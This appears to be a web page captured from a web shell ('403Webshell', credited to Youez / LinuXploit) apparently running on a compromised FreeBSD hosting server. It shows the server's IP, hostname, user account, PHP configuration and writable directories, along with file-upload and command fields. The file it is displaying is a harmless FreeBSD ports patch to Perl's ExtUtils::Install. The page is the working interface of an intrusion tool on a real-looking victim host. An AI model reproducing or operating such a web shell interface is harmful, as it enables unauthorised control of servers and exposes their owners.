403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/lang/perl5.34/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/ports/lang/perl5.34/files/patch-cpan_ExtUtils-Install_lib_ExtUtils_Install.pm
Make installed files writable by the installing user.

--- cpan/ExtUtils-Install/lib/ExtUtils/Install.pm.orig	2021-01-04 00:39:17 UTC
+++ cpan/ExtUtils-Install/lib/ExtUtils/Install.pm
@@ -795,7 +795,7 @@ sub install { #XXX OS-SPECIFIC
                 utime($atime,$mtime + _Is_VMS,$targetfile) unless $dry_run>1;
 
 
-                $mode = 0444 | ( $mode & 0111 ? 0111 : 0 );
+                $mode = 0644 | ( $mode & 0111 ? 0111 : 0 );
                 $mode = $mode | 0222
                     if $realtarget ne $targetfile;
                 _chmod( $mode, $targetfile, $verbose );

Youez - 2016 - github.com/yon3zu
LinuXploit